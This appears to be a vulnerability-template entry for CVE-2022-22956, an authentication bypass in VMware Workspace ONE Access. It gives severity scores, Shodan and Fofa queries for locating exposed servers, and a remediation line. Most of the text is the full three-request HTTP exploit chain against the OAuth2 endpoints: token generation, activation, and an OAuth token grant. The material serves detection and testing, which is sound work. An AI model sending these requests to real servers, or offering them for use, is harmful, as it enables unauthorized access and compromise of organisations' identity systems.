| Title | VMware Workspace ONE Access - Authentication Bypass |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Attackers can bypass authentication and perform unauthorized operations, potentially leading to full system compromise. |
| Remediation | Apply the latest security patches provided by VMware to address these vulnerabilities. |
| CVSS Score | 9.8 |
| EPSS Score | 0.81455 |
| CVE ID | CVE-2022-22956 |
| CWE ID | CWE-287 |
| Shodan Query | http.favicon.hash:"-1250474341" |
| Fofa Query | icon_hash=-1250474341 |
| Tags | cve cve2022 vmware workspace auth-bypass vkev vuln |
VMware Workspace ONE Access has two authentication bypass vulnerabilities (CVE-2022-22955 & CVE-2022-22956) in the OAuth2 ACS framework. A malicious actor may bypass the authentication mechanism and execute any operation due to exposed endpoints in the authentication framework.
POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
0
POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 6
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
dktX8T
POST /SAAS/auth/oauthtoken HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
grant_type=client_credentials&client_id=gjXsKe&client_secret=1TW5qv
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-22956.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-22956.pcap
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